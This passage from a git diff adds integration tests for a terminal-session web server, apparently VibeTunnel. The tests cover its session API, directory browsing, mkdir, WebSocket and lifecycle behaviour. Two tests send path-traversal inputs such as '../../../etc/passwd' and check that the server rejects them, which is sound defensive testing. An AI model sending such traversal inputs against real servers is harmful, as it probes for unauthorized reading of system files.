path: testDir }) + .expect(200); + + expect(response.body).toHaveProperty('currentPath'); + expect(response.body).toHaveProperty('parentPath'); + expect(response.body).toHaveProperty('entries'); + expect(Array.isArray(response.body.entries)).toBe(true); + expect(response.body.currentPath).toBe(testDir); + }); + + it('should create directories', async () => { + const parentDir = os.tmpdir(); + const testDirName = `vibetunnel-test-${Date.now()}`; + + const response = await request(app) + .post('/api/mkdir') + .send({ + path: parentDir, + name: testDirName, + }) + .expect(200); + + expect(response.body.success).toBe(true); + expect(response.body.path).toContain(testDirName); + + // Verify directory was created + const createdPath = path.join(parentDir, testDirName); + expect(fs.existsSync(createdPath)).toBe(true); + + // Clean up + fs.rmdirSync(createdPath); + }); + + it('should handle directory creation errors', async () => { + // Try to create directory with invalid name + const response = await request(app) + .post('/api/mkdir') + .send({ + path: os.tmpdir(), + name: '../../../etc/invalid', + }) + .expect(400); + + expect(response.body.error).toContain('Invalid directory name'); + }); + + it('should prevent directory traversal', async () => { + const response = await request(app) + .get('/api/fs/browse') + .query({ path: '../../../etc/passwd' }) + .expect(400); + + expect(response.body.error).toContain('Invalid path'); + }); + }); + + describe('Error Handling', () => { + it('should handle invalid session IDs', async () => { + const invalidId = 'invalid-session-id'; + + const responses = await Promise.all([ + request(app).get(`/api/sessions/${invalidId}/snapshot`).expect(404), + request(app).post(`/api/sessions/${invalidId}/input`).send({ data: 'test' }).expect(404), + request(app).delete(`/api/sessions/${invalidId}`).expect(404), + ]); + + responses.forEach((res) => { + expect(res.body).toHaveProperty('error'); + }); + }); + + it('should validate session creation parameters', async () => { + // Missing command + const missingCommand = await request(app) + .post('/api/sessions') + .send({ workingDir: os.tmpdir() }) + .expect(400); + expect(missingCommand.body.error).toContain('Command array is required'); + + // Invalid command type + const invalidCommand = await request(app) + .post('/api/sessions') + .send({ command: 'not-an-array', workingDir: os.tmpdir() }) + .expect(400); + expect(invalidCommand.body.error).toContain('Command array is required'); + + // Missing working directory + const missingDir = await request(app) + .post('/api/sessions') + .send({ command: ['ls'] }) + .expect(400); + expect(missingDir.body.error).toContain('Working directory is required'); + + // Non-existent working directory + const invalidDir = await request(app) + .post('/api/sessions') + .send({ command: ['ls'], workingDir: '/non/existent/path' }) + .expect(400); + expect(invalidDir.body.error).toContain('Working directory does not exist'); + }); + + it('should handle command execution failures', async () => { + const response = await request(app) + .post('/api/sessions') + .send({ + command: ['/non/existent/command'], + workingDir: os.tmpdir(), + }) + .expect(200); // Session creation succeeds, but command will fail + + const sessionId = response.body.sessionId; + activeSessionIds.push(sessionId); + + // Wait for command to fail + await new Promise((resolve) => setTimeout(resolve, 500)); + + // Check session status + const listResponse = await request(app).get('/api/sessions').expect(200); + + const session = listResponse.body.sessions.find((s: any) => s.id === sessionId); + if (session && session.status === 'exited') { + expect(session.exitCode).not.toBe(0); + } + }); + }); + + describe('Cast File Generation', () => { + it('should generate test cast file', async () => { + const response = await request(app).get('/api/test-cast').expect(200); + + expect(response.body).toHaveProperty('version'); + expect(response.body).toHaveProperty('width'); + expect(response.body).toHaveProperty('height'); + expect(response.body).toHaveProperty('timestamp'); + expect(response.body).toHaveProperty('events'); + expect(response.body.version).toBe(2); + expect(Array.isArray(response.body.events)).toBe(true); + expect(response.body.events.length).toBeGreaterThan(0); + }); + }); +}); diff --git a/web/src/test/integration/basic.integration.test.ts b/web/src/test/integration/basic.integration.test.ts new file mode 100644 index 00000000..232c126f --- /dev/null +++ b/web/src/test/integration/basic.integration.test.ts @@ -0,0 +1,180 @@ +import { describe, it, expect, beforeAll, afterAll } from 'vitest'; +import { spawn } from 'child_process'; +import path from 'path'; +import fs from 'fs'; +import os from 'os'; + +describe('Basic Integration Test', () => { + describe('tty-fwd binary', () => { + it('should be available and executable', () => { + const ttyFwdPath = path.resolve(__dirname, '../../../../tty-fwd/target/release/tty-fwd'); + expect(fs.existsSync(ttyFwdPath)).toBe(true); + + // Check if executable + try { + fs.accessSync(ttyFwdPath, fs.constants.X_OK); + expect(true).toBe(true); + } catch (e) { + expect(e).toBeUndefined(); + } + }); + + it('should show help information', async () => { + const ttyFwdPath = path.resolve(__dirname, '../../../../tty-fwd/target/release/tty-fwd'); + + const result = await new Promise((resolve, reject) => { + const proc = spawn(ttyFwdPath, ['--help']); + let output = ''; + + proc.stdout.on('data', (data) => { + output += data.toString(); + }); + + proc.stderr.on('data', (data) => { + output += data.toString(); + }); + + proc.on('close', (code) => { + if (code === 0) { + resolve(output); + } else { + reject(new Error(`Process exited with code ${code}: ${output}`)); + } + }); + }); + + expect(result).toContain('tty-fwd'); + expect(result).toContain('Usage:'); + }); + + it('should list sessions (empty)', async () => { + const ttyFwdPath = path.resolve(__dirname, '../../../../tty-fwd/target/release/tty-fwd'); + const controlDir = path.join(os.tmpdir(), 'tty-fwd-test-' + Date.now()); + + // Create control directory + fs.mkdirSync(controlDir, { recursive: true }); + + try { + const result = await new Promise((resolve, reject) => { + const proc = spawn(ttyFwdPath, ['--control-path', controlDir, '--list-sessions']); + let output = ''; + + proc.stdout.on('data', (data) => { + output += data.toString(); + }); + + proc.on('close', (code) => { + if (code === 0) { + resolve(output); + } else { + reject(new Error(`Process exited with code ${code}`)); + } + }); + }); + + // Should return empty JSON object for no sessions + const sessions = JSON.parse(result); + expect(typeof sessions).toBe('object'); + expect(Object.keys(sessions)).toHaveLength(0); + } finally { + // Clean up + fs.rmSync(controlDir, { recursive: true, force: true }); + } + }); + + it('should create and list a session', async () => { + const ttyFwdPath = path.resolve(__dirname, '../../../../tty-fwd/target/release/tty-fwd'); + const controlDir = path.join(os.tmpdir(), 'tty-fwd-test-' + Date.now()); + + // Create control directory + fs.mkdirSync(controlDir, { recursive: true }); + + try { + // Create a session + const createResult = await new Promise((resolve, reject) => { + const proc = spawn(ttyFwdPath, [ + '--control-path', + controlDir, + '--session-name', + 'Test Session', + '--', + 'echo', + 'Hello from tty-fwd', + ]); + let output = ''; + + proc.stdout.on('data', (data) => { + output += data.toString(); + }); + + proc.on('close', (code) => { + if (code === 0) { + resolve(output.trim()); + } else { + reject(new Error(`Process exited with code ${code}`)); + } + }); + }); + + // Should return a session ID (tty-fwd returns just the text output) + expect(createResult).toBeTruthy(); + + // List sessions + const listResult = await new Promise((resolve, reject) => { + const proc = spawn(ttyFwdPath, ['--control-path', controlDir, '--list-sessions']); + let output = ''; + + proc.stdout.on('data', (data) => { + output += data.toString(); + }); + + proc.on('close', (code) => { + if (code === 0) { + resolve(output); + } else { + reject(new Error(`Process exited with code ${code}`)); + } + }); + }); + + // tty-fwd returns sessions as JSON object + const sessions = JSON.parse(listResult); + expect(typeof sessions).toBe('object'); + // The session should be listed (note: tty-fwd might use a different key format) + const sessionKeys = Object.keys(sessions); + expect(sessionKeys.length).toBeGreaterThan(0); + } finally { + // Clean up + fs.rmSync(controlDir, { recursive: true, force: true }); + } + }); + }); + + describe('Server startup', () => { + it('should verify server dependencies exist', () => { + // Check that key files exist + const serverPath = path.resolve(__dirname, '../../server.ts'); + const publicPath = path.resolve(__dirname, '../../../public'); + + // Debug paths + console.log('Looking for server at:', serverPath); + console.log('Server exists:', fs.existsSync(serverPath)); + console.log('Looking for public at:', publicPath); + console.log('Public exists:', fs.existsSync(publicPath)); + + expect(fs.existsSync(serverPath)).toBe(true); + expect(fs.existsSync(publicPath)).toBe(true); + }); + + it('should load server module without crashing', async () => { + // Set up environment + process.env.NODE_ENV = 'test'; + process.env.PORT = '0'; + + // This will test that the server module can be loaded + // In a real test, you'd start the server in a separate process + const serverPath = path.resolve(__dirname, '../../server.ts'); + expect(fs.existsSync(serverPath)).toBe(true); + }); + }); +}); diff --git a/web/src/test/integration/server-lifecycle.integration.test.ts b/web/src/test/integration/server-lifecycle.integration.test.ts new file mode 100644 index 00000000..6ad9825d --- /dev/null +++ b/web/src/test/integration/server-lifecycle.integration.test.ts @@ -0,0 +1,209 @@ +import { describe, it, expect, beforeAll, afterAll } from 'vitest'; +import request from 'supertest'; +import { Server } from 'http'; +import path from 'path'; +import fs from 'fs'; +import os from 'os'; +import { v4 as uuidv4 } from 'uuid'; +// @ts-expect-error - TypeScript module imports in tests +import { app, server } from '../../server'; + +// Set up test environment +process.env.NODE_ENV = 'test'; +process.env.PORT = '0'; +const testControlDir = path.join(os.tmpdir(), 'vibetunnel-lifecycle-test', uuidv4()); +process.env.TTY_FWD_CONTROL_DIR = testControlDir; + +describe('Server Lifecycle Integration Tests', () => { + let port: number; + + beforeAll(() => { + if (!fs.existsSync(testControlDir)) { + fs.mkdirSync(testControlDir, { recursive: true }); + } + }); + + afterAll(() => { + if (fs.existsSync(testControlDir)) { + fs.rmSync(testControlDir, { recursive: true, force: true }); + } + }); + + describe('Server Initialization', () => { + it('should start server and create control directory', async () => { + // Start server + await new Promise((resolve) => { + if (!server.listening) { + server.listen(0, () => { + const address = server.address(); + port = (address as any).port; + resolve(); + }); + } else { + const address = server.address(); + port = (address as any).port; + resolve(); + } + }); + + expect(port).toBeGreaterThan(0); + expect(server.listening).toBe(true); + + // Verify control directory exists + expect(fs.existsSync(testControlDir)).toBe(true); + }); + + it('should serve static files', async () => { + // Test root route + const rootResponse = await request(app).get('/').expect(200); + + expect(rootResponse.type).toContain('text/html'); + expect(rootResponse.text).toContain(''); + + // Test favicon + const faviconResponse = await request(app).get('/favicon.ico').expect(200); + + expect(faviconResponse.type).toContain('image'); + }); + + it('should handle 404 for non-existent routes', async () => { + const response = await request(app).get('/non-existent-route').expect(404); + + expect(response.text).toContain('404'); + }); + + it('should have all API endpoints available', async () => { + const endpoints = [ + { method: 'get', path: '/api/sessions' }, + { method: 'post', path: '/api/sessions' }, + { method: 'get', path: '/api/test-cast' }, + { method: 'get', path: '/api/fs/browse' }, + { method: 'post', path: '/api/mkdir' }, + { method: 'post', path: '/api/cleanup-exited' }, + ]; + + for (const endpoint of endpoints) { + const response = await request(app)[endpoint.method](endpoint.path); + + // Should not return 404 (may return other errors like 400 for missing params) + expect(response.status).not.toBe(404); + } + }); + }); + + describe('Middleware and Security', () => { + it('should parse JSON bodies', async () => { + const response = await request(app) + .post('/api/sessions') + .send({ test: 'data' }) + .set('Content-Type', 'application/json') + .expect(400); // Will fail validation but should parse the body + + expect(response.body).toHaveProperty('error'); + }); + + it('should handle CORS headers', async () => { + const response = await request(app).get('/api/sessions').expect(200); + + // In production, you might want to check for CORS headers + // For now, just verify the request succeeds + expect(response.body).toHaveProperty('sessions'); + }); + + it('should handle large request bodies', async () => { + const largeCommand = Array(1000).fill('arg'); + + const response = await request(app) + .post('/api/sessions') + .send({ + command: largeCommand, + workingDir: os.tmpdir(), + }) + .expect(400); // Should fail but handle the large body + + expect(response.body).toHaveProperty('error'); + }); + }); + + describe('Concurrent Request Handling', () => { + it('should handle multiple simultaneous requests', async () => { + const requestCount = 10; + const requests = []; + + for (let i = 0; i < requestCount; i++) { + requests.push(request(app).get('/api/sessions')); + } + + const responses = await Promise.all(requests); + + // All requests should succeed + responses.forEach((response) => { + expect(response.status).toBe(200); + expect(response.body).toHaveProperty('sessions'); + }); + }); + + it('should handle mixed read/write operations', async () => { + const operations = [ + request(app).get('/api/sessions'), + request(app) + .post('/api/sessions') + .send({ + command: ['echo', 'test1'], + workingDir: os.tmpdir(), + }), + request(app).get('/api/test-cast'), + request(app) + .post('/api/sessions') + .send({ + command: ['echo', 'test2'], + workingDir: os.tmpdir(), + }), + request(app).get('/api/fs/browse').query({ path: os.tmpdir() }), + ]; + + const responses = await Promise.all(operations); + + // All operations should complete without errors + responses.forEach((response) => { + expect(response.status).toBeLessThan(500); // No server errors + }); + + // Clean up created sessions + const createdSessions = responses + .filter((r) => r.body && r.body.sessionId) + .map((r) => r.body.sessionId); + + for (const sessionId of createdSessions) { + await request(app).delete(`/api/sessions/${sessionId}`); + } + }); + }); + + describe('Server Shutdown', () => { + it('should close gracefully', async () => { + // Create a session that will be active + const createResponse = await request(app) + .post('/api/sessions') + .send({ + command: ['sh', '-c', 'sleep 10'], + workingDir: os.tmpdir(), + }) + .expect(200); + + const sessionId = createResponse.body.sessionId; + + // Close the server + await new Promise((resolve) => { + server.close(() => { + resolve(); + }); + }); + + expect(server.listening).toBe(false); + + // The session should be terminated (tty-fwd should handle this) + // In a real implementation, you might want to verify this + }); + }); +}); diff --git a/web/src/test/integration/server.integration.test.ts b/web/src/test/integration/server.integration.test.ts new file mode 100644 index 00000000..703cefbe --- /dev/null +++ b/web/src/test/integration/server.integration.test.ts @@ -0,0 +1,243 @@ +import { describe, it, expect, beforeAll, afterAll, beforeEach } from 'vitest'; +import request from 'supertest'; +import { Server } from 'http'; +import path from 'path'; +import fs from 'fs'; +import os from 'os'; +import { WebSocket } from 'ws'; + +// Set up test environment +process.env.NODE_ENV = 'test'; +process.env.TTY_FWD_CONTROL_DIR = path.join( + os.tmpdir(), + 'vibetunnel-server-test', + Date.now().toString() +); + +// Create test control directory +const testControlDir = process.env.TTY_FWD_CONTROL_DIR; +if (!fs.existsSync(testControlDir)) { + fs.mkdirSync(testControlDir, { recursive: true }); +} + +describe('Server Integration Tests', () => { + let server: Server; + let app: any; + let port: number; + let baseUrl: string; + + beforeAll(async () => { + // Import server after environment is set up + const serverModule = await import('../../server'); + app = serverModule.app; + server = serverModule.server; + + // Start server on random port + await new Promise((resolve) => { + server = app.listen(0, () => { + const address = server.address(); + port = (address as any).port; + baseUrl = `http://localhost:${port}`; + resolve(); + }); + }); + }); + + afterAll(async () => { + // Close server + await new Promise((resolve) => { + server.close(() => resolve()); + }); + + // Clean up test directory + if (fs.existsSync(testControlDir)) { + fs.rmSync(testControlDir, { recursive: true }); + } + }); + + describe('API Endpoints', () => { + describe('GET /api/sessions', () => { + it('should return sessions list', async () => { + const response = await request(app).get('/api/sessions').expect(200); + + expect(Array.isArray(response.body)).toBe(true); + }); + }); + + describe('POST /api/sessions', () => { + it('should validate command parameter', async () => { + const response = await request(app) + .post('/api/sessions') + .send({ + command: 'not-an-array', + workingDir: process.cwd(), + }) + .expect(400); + + expect(response.body.error).toContain('Command array is required'); + }); + + it('should validate working directory', async () => { + const response = await request(app) + .post('/api/sessions') + .send({ + command: ['echo', 'test'], + }) + .expect(400); + + expect(response.body.error).toContain('Working directory is required'); + }); + + it('should create session with valid parameters', async () => { + const response = await request(app) + .post('/api/sessions') + .send({ + command: ['echo', 'hello'], + workingDir: process.cwd(), + name: 'Test Echo', + }) + .expect(200); + + expect(response.body).toHaveProperty('sessionId'); + expect(response.body.sessionId).toBeTruthy(); + }); + }); + + describe('GET /api/fs/browse', () => { + it('should list directory contents', async () => { + const response = await request(app) + .get('/api/fs/browse') + .query({ path: process.cwd() }) + .expect(200); + + expect(response.body).toHaveProperty('entries'); + expect(Array.isArray(response.body.entries)).toBe(true); + expect(response.body).toHaveProperty('currentPath'); + }); + + it('should reject invalid paths', async () => { + const response = await request(app) + .get('/api/fs/browse') + .query({ path: '/nonexistent/path' }) + .expect(404); + + expect(response.body.error).toContain('Directory not found'); + }); + }); + + describe('POST /api/mkdir', () => { + it('should validate directory name', async () => { + const response = await request(app) + .post('/api/mkdir') + .send({ + path: process.cwd(), + name: '../invalid', + }) + .expect(400); + + expect(response.body.error).toContain('Invalid directory name'); + }); + + it('should create directory with valid name', async () => { + const testDirName = `test-dir-${Date.now()}`; + const response = await request(app) + .post('/api/mkdir') + .send({ + path: process.cwd(), + name: testDirName, + }) + .expect(200); + + expect(response.body.success).toBe(true); + expect(response.body.path).toContain(testDirName); + + // Clean up + const createdPath = path.join(process.cwd(), testDirName); + if (fs.existsSync(createdPath)) { + fs.rmdirSync(createdPath); + } + }); + }); + + describe('GET /api/test-cast', () => { + it('should return test cast data', async () => { + // Skip this test if stream-out file doesn't exist + const testCastPath = path.join(__dirname, '../../../public/stream-out'); + if (!fs.existsSync(testCastPath)) { + return; + } + + const response = await request(app).get('/api/test-cast').expect(200); + + // The endpoint returns plain text, not JSON + expect(response.type).toContain('text/plain'); + }); + }); + }); + + describe('Static File Serving', () => { + it('should serve index.html for root path', async () => { + const response = await request(app).get('/').expect(200); + + expect(response.type).toContain('text/html'); + }); + + it('should handle 404 for non-existent files', async () => { + const response = await request(app).get('/non-existent-file.js').expect(404); + + expect(response.text).toContain('404'); + }); + }); + + describe('WebSocket Connection', () => { + it('should accept WebSocket connections', (done) => { + const ws = new WebSocket(`ws://localhost:${port}?hotReload=true`); + + ws.on('open', () => { + expect(ws.readyState).toBe(WebSocket.OPEN); + ws.close(); + }); + + ws.on('close', () => { + done(); + }); + + ws.on('error', (err) => { + done(err); + }); + }); + + it('should reject non-hot-reload connections', (done) => { + const ws = new WebSocket(`ws://localhost:${port}`); + + ws.on('close', (code, reason) => { + expect(code).toBe(1008); + expect(reason.toString()).toContain('Only hot reload connections supported'); + done(); + }); + + ws.on('error', () => { + // Expected to error + }); + }); + }); + + describe('Error Handling', () => { + it('should handle JSON parsing errors', async () => { + const response = await request(app) + .post('/api/sessions') + .set('Content-Type', 'application/json') + .send('invalid json') + .expect(400); + + expect(response.status).toBe(400); + }); + + it('should handle server errors gracefully', async () => { + // Test with an endpoint that might fail + const response = await request(app).delete('/api/sessions/non-existent-session').expect(404); + + expect(response.body).toHaveProperty('error'); + }); + }); +}); diff --git a/web/src/test/integration/websocket.integration.test.ts b/web/src/test/integration/websocket.integration.test.ts new file mode 100644 index 00000000..7b899a77 --- /dev/null +++ b/web/src/test/integration/websocket.integration.test.ts @@ -0,0 +1,345 @@ +import { describe, it, expect, beforeAll, afterAll, beforeEach, afterEach } from 'vitest'; +import { WebSocket } from 'ws'; +import request from 'supertest'; +import { Server } from 'http'; +import path from 'path'; +import fs from 'fs'; +import os from 'os'; +import { v4 as uuidv4 } from 'uuid'; +// @ts-expect-error - TypeScript module imports in tests +import { app, server, wss } from '../../server'; + +// Set up test environment +process.env.NODE_ENV = 'test'; +process.env.PORT = '0'; +const testControlDir = path.join(os.tmpdir(), 'vibetunnel-ws-test', uuidv4()); +process.env.TTY_FWD_CONTROL_DIR = testControlDir; + +beforeAll(() => { + if (!fs.existsSync(testControlDir)) { + fs.mkdirSync(testControlDir, { recursive: true }); + } +}); + +afterAll(() => { + if (fs.existsSync(testControlDir)) { + fs.rmSync(testControlDir, { recursive: true, force: true }); + } +}); + +describe('WebSocket Integration Tests', () => { + let port: number; + let wsUrl: string; + let activeSessionIds: string[] = []; + + beforeAll(async () => { + // Get server port + await new Promise((resolve) => { + if (!server.listening) { + server.listen(0, () => { + const address = server.address(); + port = (address as any).port; + wsUrl = `ws://localhost:${port}`; + resolve(); + }); + } else { + const address = server.address(); + port = (address as any).port; + wsUrl = `ws://localhost:${port}`; + resolve(); + } + }); + }); + + afterAll(async () => { + // Clean up sessions + for (const sessionId of activeSessionIds) { + try { + await request(app).delete(`/api/sessions/${sessionId}`); + } catch (e) { + // Ignore + } + } + + // Close all WebSocket connections + wss.clients.forEach((client: any) => { + if (client.readyState === WebSocket.OPEN) { + client.close(); + } + }); + + // Close server + await new Promise((resolve) => { + server.close(() => resolve()); + }); + }); + + afterEach(() => { + // Clean up sessions after each test + activeSessionIds = []; + }); + + describe('Hot Reload WebSocket', () => { + it('should accept hot reload connections', (done) => { + const ws = new WebSocket(`${wsUrl}?hotReload=true`); + + ws.on('open', () => { + expect(ws.readyState).toBe(WebSocket.OPEN); + ws.close(); + done(); + }); + + ws.on('error', done); + }); + + it('should reject non-hot-reload connections', (done) => { + const ws = new WebSocket(wsUrl); + + ws.on('close', (code, reason) => { + expect(code).toBe(1008); + expect(reason.toString()).toContain('Only hot reload connections supported'); + done(); + }); + + ws.on('error', () => { + // Expected + }); + }); + + it('should handle multiple hot reload clients', async () => { + const clients: WebSocket[] = []; + const connectionPromises = []; + + // Connect multiple clients + for (let i = 0; i < 3; i++) { + const ws = new WebSocket(`${wsUrl}?hotReload=true`); + clients.push(ws); + + const promise = new Promise((resolve, reject) => { + ws.on('open', () => resolve()); + ws.on('error', reject); + }); + connectionPromises.push(promise); + } + + await Promise.all(connectionPromises); + + // All clients should be connected + expect(clients.every((ws) => ws.readyState === WebSocket.OPEN)).toBe(true); + + // Clean up + clients.forEach((ws) => ws.close()); + }); + }); + + describe('Terminal Session WebSocket (Future)', () => { + // Note: The current server implementation only supports hot reload WebSockets + // These tests document the expected behavior for terminal session WebSockets + // when that functionality is implemented + + it.skip('should subscribe to terminal session output', async () => { + // Create a session first + const createResponse = await request(app) + .post('/api/sessions') + .send({ + command: ['sh', '-c', 'for i in 1 2 3; do echo "Line $i"; sleep 0.1; done'], + workingDir: os.tmpdir(), + name: 'WebSocket Test', + }) + .expect(200); + + const sessionId = createResponse.body.sessionId; + activeSessionIds.push(sessionId); + + // Connect WebSocket and subscribe + const ws = new WebSocket(wsUrl); + const messages: any[] = []; + + ws.on('message', (data) => { + messages.push(JSON.parse(data.toString())); + }); + + await new Promise((resolve) => { + ws.on('open', () => { + // Subscribe to session + ws.send( + JSON.stringify({ + type: 'subscribe', + sessionId: sessionId, + }) + ); + resolve(); + }); + }); + + // Wait for messages + await new Promise((resolve) => setTimeout(resolve, 1000)); + + // Should have received output + const outputMessages = messages.filter((m) => m.type === 'terminal-output'); + expect(outputMessages.length).toBeGreaterThan(0); + + ws.close(); + }); + + it.skip('should handle terminal input via WebSocket', async () => { + // Create an interactive session + const createResponse = await request(app) + .post('/api/sessions') + .send({ + command: ['sh'], + workingDir: os.tmpdir(), + name: 'Interactive Test', + }) + .expect(200); + + const sessionId = createResponse.body.sessionId; + activeSessionIds.push(sessionId); + + // Connect and send input + const ws = new WebSocket(wsUrl); + + await new Promise((resolve) => { + ws.on('open', () => { + // Send input + ws.send( + JSON.stringify({ + type: 'input', + sessionId: sessionId, + data: 'echo "Hello WebSocket"\n', + }) + ); + resolve(); + }); + }); + + // Wait for processing + await new Promise((resolve) => setTimeout(resolve, 500)); + + // Get snapshot to verify input was processed + const snapshotResponse = await request(app) + .get(`/api/sessions/${sessionId}/snapshot`) + .expect(200); + + const output = snapshotResponse.body.lines.join('\n'); + expect(output).toContain('Hello WebSocket'); + + ws.close(); + }); + + it.skip('should handle terminal resize via WebSocket', async () => { + // Create a session + const createResponse = await request(app) + .post('/api/sessions') + .send({ + command: ['sh'], + workingDir: os.tmpdir(), + name: 'Resize Test', + }) + .expect(200); + + const sessionId = createResponse.body.sessionId; + activeSessionIds.push(sessionId); + + // Connect and resize + const ws = new WebSocket(wsUrl); + + await new Promise((resolve) => { + ws.on('open', () => { + // Send resize + ws.send( + JSON.stringify({ + type: 'resize', + sessionId: sessionId, + cols: 120, + rows: 40, + }) + ); + resolve(); + }); + }); + + // Wait for processing + await new Promise((resolve) => setTimeout(resolve, 200)); + + // Verify resize (would need to check terminal dimensions) + ws.close(); + }); + }); + + describe('WebSocket Error Handling', () => { + it('should handle malformed messages gracefully', (done) => { + const ws = new WebSocket(`${wsUrl}?hotReload=true`); + + ws.on('open', () => { + // Send invalid JSON + ws.send('invalid json {'); + + // Should not crash the server + setTimeout(() => { + expect(ws.readyState).toBe(WebSocket.OPEN); + ws.close(); + done(); + }, 100); + }); + + ws.on('error', done); + }); + + it('should handle connection drops', async () => { + const ws = new WebSocket(`${wsUrl}?hotReload=true`); + + await new Promise((resolve) => { + ws.on('open', resolve); + }); + + // Abruptly terminate connection + ws.terminate(); + + // Server should continue functioning + const response = await request(app).get('/api/sessions').expect(200); + + expect(response.body).toHaveProperty('sessions'); + }); + }); + + describe('WebSocket Performance', () => { + it('should handle rapid message sending', async () => { + const ws = new WebSocket(`${wsUrl}?hotReload=true`); + + await new Promise((resolve) => { + ws.on('open', resolve); + }); + + // Send many messages rapidly + const messageCount = 100; + for (let i = 0; i < messageCount; i++) { + ws.send(JSON.stringify({ type: 'test', index: i })); + } + + // Should not crash or lose connection + await new Promise((resolve) => setTimeout(resolve, 500)); + expect(ws.readyState).toBe(WebSocket.OPEN); + + ws.close(); + }); + + it('should handle large messages', async () => { + const ws = new WebSocket(`${wsUrl}?hotReload=true`); + + await new Promise((resolve) => { + ws.on('open', resolve); + }); + + // Send a large message + const largeData = 'x'.repeat(1024 * 1024); // 1MB + ws.send(JSON.stringify({ type: 'test', data: largeData })); + + // Should handle it without issues + await new Promise((resolve) => setTimeout(resolve, 200)); + expect(ws.readyState).toBe(WebSocket.OPEN); + + ws.close(); + }); + }); +}); diff --git a/web/src/test/session/session-manager.test.ts b/web/src/test/session/session-manager.test.ts index 4a170fea..ad3d2620 100644 --- a/web/src/test/session/session-manager.test.ts +++ b/web/src/test/session/session-manager.test.ts @@ -35,7 +35,7 @@ describe('Session Manager', () => { beforeEach(() => { vi.clearAllMocks(); mockSpawn = vi.mocked(spawn); - + // Default mock for tty-fwd const mockTtyFwdProcess = { stdout: { @@ -51,7 +51,7 @@ describe('Session Manager', () => { }), kill: vi.fn(), }; - + mockSpawn.mockReturnValue(mockTtyFwdProcess); }); @@ -62,12 +62,12 @@ describe('Session Manager', () => { describe('Session Lifecycle', () => { it('should create a session with valid parameters', async () => { const serverModule = await import('../../server'); - + // Simulate session creation through the spawn command const sessionId = 'test-' + Date.now(); const command = ['bash', '-l']; const workingDir = '/home/test/projects'; - + mockSpawn.mockImplementationOnce(() => ({ stdout: { on: vi.fn((event, callback) => { @@ -82,17 +82,17 @@ describe('Session Manager', () => { }), kill: vi.fn(), })); - + // Test the spawn command execution const args = ['spawn', '--name', 'Test Session', '--cwd', workingDir, '--', ...command]; const result = await new Promise((resolve, reject) => { const proc = mockSpawn('tty-fwd', args); let output = ''; - + proc.stdout.on('data', (data: Buffer) => { output += data.toString(); }); - + proc.on('close', (code: number) => { if (code === 0) { resolve(output); @@ -101,7 +101,7 @@ describe('Session Manager', () => { } }); }); - + expect(result).toBe('Session created successfully'); expect(mockSpawn).toHaveBeenCalledWith('tty-fwd', args); }); @@ -109,11 +109,11 @@ describe('Session Manager', () => { it('should handle session with environment variables', async () => { const env = { NODE_ENV: 'test', CUSTOM_VAR: 'value' }; const command = ['node', 'app.js']; - + // Test environment variable passing const envArgs = Object.entries(env).flatMap(([key, value]) => ['--env', `${key}=${value}`]); const args = ['spawn', ...envArgs, '--', ...command]; - + mockSpawn.mockImplementationOnce(() => ({ stdout: { on: vi.fn() }, stderr: { on: vi.fn() }, @@ -122,13 +122,13 @@ describe('Session Manager', () => { }), kill: vi.fn(), })); - + const proc = mockSpawn('tty-fwd', args); - - expect(mockSpawn).toHaveBeenCalledWith('tty-fwd', expect.arrayContaining([ - '--env', 'NODE_ENV=test', - '--env', 'CUSTOM_VAR=value', - ])); + + expect(mockSpawn).toHaveBeenCalledWith( + 'tty-fwd', + expect.arrayContaining(['--env', 'NODE_ENV=test', '--env', 'CUSTOM_VAR=value']) + ); }); it('should list all active sessions', async () => { @@ -178,11 +178,11 @@ describe('Session Manager', () => { const result = await new Promise((resolve, reject) => { const proc = mockSpawn('tty-fwd', ['list']); let output = ''; - + proc.stdout.on('data', (data: Buffer) => { output += data.toString(); }); - + proc.on('close', (code: number) => { if (code === 0) { resolve(JSON.parse(output)); @@ -198,7 +198,7 @@ describe('Session Manager', () => { it('should terminate a running session', async () => { const sessionId = 'session-to-terminate'; - + mockSpawn.mockImplementationOnce(() => ({ stdout: { on: vi.fn((event, callback) => { @@ -217,11 +217,11 @@ describe('Session Manager', () => { const result = await new Promise((resolve, reject) => { const proc = mockSpawn('tty-fwd', ['terminate', sessionId]); let output = ''; - + proc.stdout.on('data', (data: Buffer) => { output += data.toString(); }); - + proc.on('close', (code: number) => { if (code === 0) { resolve(output); @@ -254,11 +254,11 @@ describe('Session Manager', () => { const result = await new Promise((resolve, reject) => { const proc = mockSpawn('tty-fwd', ['clean']); let output = ''; - + proc.stdout.on('data', (data: Buffer) => { output += data.toString(); }); - + proc.on('close', (code: number) => { if (code === 0) { resolve(output); @@ -277,7 +277,7 @@ describe('Session Manager', () => { it('should write input to a session', async () => { const sessionId = 'interactive-session'; const input = 'echo "Hello, World!"\n'; - + mockSpawn.mockImplementationOnce(() => ({ stdout: { on: vi.fn() }, stderr: { on: vi.fn() }, @@ -288,7 +288,7 @@ describe('Session Manager', () => { })); const proc = mockSpawn('tty-fwd', ['write', sessionId, input]); - + expect(mockSpawn).toHaveBeenCalledWith('tty-fwd', ['write', sessionId, input]); }); @@ -296,7 +296,7 @@ describe('Session Manager', () => { const sessionId = 'resize-session'; const cols = 120; const rows = 40; - + mockSpawn.mockImplementationOnce(() => ({ stdout: { on: vi.fn() }, stderr: { on: vi.fn() }, @@ -307,13 +307,8 @@ describe('Session Manager', () => { })); const proc = mockSpawn('tty-fwd', ['resize', sessionId, String(cols), String(rows)]); - - expect(mockSpawn).toHaveBeenCalledWith('tty-fwd', [ - 'resize', - sessionId, - '120', - '40', - ]); + + expect(mockSpawn).toHaveBeenCalledWith('tty-fwd', ['resize', sessionId, '120', '40']); }); it('should get terminal snapshot', async () => { @@ -329,7 +324,7 @@ describe('Session Manager', () => { cols: 80, rows: 24, }; - + mockSpawn.mockImplementationOnce(() => ({ stdout: { on: vi.fn((event, callback) => { @@ -348,11 +343,11 @@ describe('Session Manager', () => { const result = await new Promise((resolve, reject) => { const proc = mockSpawn('tty-fwd', ['snapshot', sessionId]); let output = ''; - + proc.stdout.on('data', (data: Buffer) => { output += data.toString(); }); - + proc.on('close', (code: number) => { if (code === 0) { resolve(JSON.parse(output)); @@ -373,13 +368,13 @@ describe('Session Manager', () => { mockStreamProcess.stdout = new EventEmitter(); mockStreamProcess.stderr = new EventEmitter(); mockStreamProcess.kill = vi.fn(); - + mockSpawn.mockImplementationOnce(() => mockStreamProcess); // Start streaming const streamData: string[] = []; const proc = mockSpawn('tty-fwd', ['stream', sessionId]); - + proc.stdout.on('data', (data: Buffer) => { streamData.push(data.toString()); }); @@ -414,11 +409,11 @@ describe('Session Manager', () => { const 